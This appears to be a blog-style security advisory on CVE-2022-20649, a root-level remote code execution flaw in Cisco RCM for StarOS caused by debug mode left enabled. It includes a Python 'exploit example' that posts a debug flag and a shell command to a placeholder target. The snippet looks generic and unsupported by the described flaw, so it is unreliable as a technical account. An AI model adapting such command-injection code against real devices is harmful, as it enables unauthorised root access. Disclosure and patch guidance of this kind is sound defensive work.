CVE-2022-20649 - Critical Vulnerability in Cisco RCM for Cisco StarOS Software Allows Remote Code Execution with Root-Level Privileges

The CVE-2022-20649 vulnerability has been found in Cisco Remote Communication Module (RCM) for Cisco StarOS Software that, when exploited, enables an unauthenticated, remote attacker to execute remote code with root-level privileges on the application under the context of the configured container. This vulnerability arises due to the incorrect enabling of debug mode for certain services. Cisco has released software updates to fix this vulnerability, and there are no known workarounds.

Description

Researchers have discovered a critical vulnerability, CVE-2022-20649, in Cisco Remote Communication Module (RCM) for Cisco StarOS Software that could allow unauthenticated, remote attackers to perform remote code execution with root-level privileges. This vulnerability exists because selected services have the debug mode incorrectly enabled.

To exploit this vulnerability, an attacker needs to connect to the device and navigate to the service with the wrong debug mode enabled. A successful exploit allows the attacker to execute arbitrary commands as the root user. Exploiting this vulnerability requires detailed reconnaissance for unauthenticated access. Authenticated attackers can also exploit this vulnerability.

Below is an example code snipplet to demonstrate the potential exploitation of this vulnerability

# Exploit Example
import requests

target_url = "http://<TARGET-IP>/vulnerable-service";
command = "id"

payload = {
	"debug": "1",
	"cmd": f"{command}"
}

response = requests.post(target_url, json=payload, allow_redirects=False)

if response.status_code == 200:
	print(f"Command executed successfully:\n{response.text}")
else:
	print(f"Failed to execute command. Status code: {response.status_code}")

To prevent exploitation of this vulnerability, Cisco has released software updates that patch the vulnerability.

You can find the original advisory and details here

- Cisco Advisory
- CVE-2022-20649 Details

Recommendations

Organizations should act immediately to mitigate the risks associated with this vulnerability. Ensure that all your Cisco devices are adequately secured, and promptly apply the updates provided by Cisco to patch this vulnerability.

It is essential to note that there are no workarounds that address this vulnerability. Regularly update all your software and systems to protect against newly discovered vulnerabilities.

Additionally, organizations should proactively monitor their networks for suspicious activities and maintain a robust security posture by employing multi-layered security solutions and engaging in security awareness programs.

Timeline

Published on: 11/15/2024 16:15:20 UTC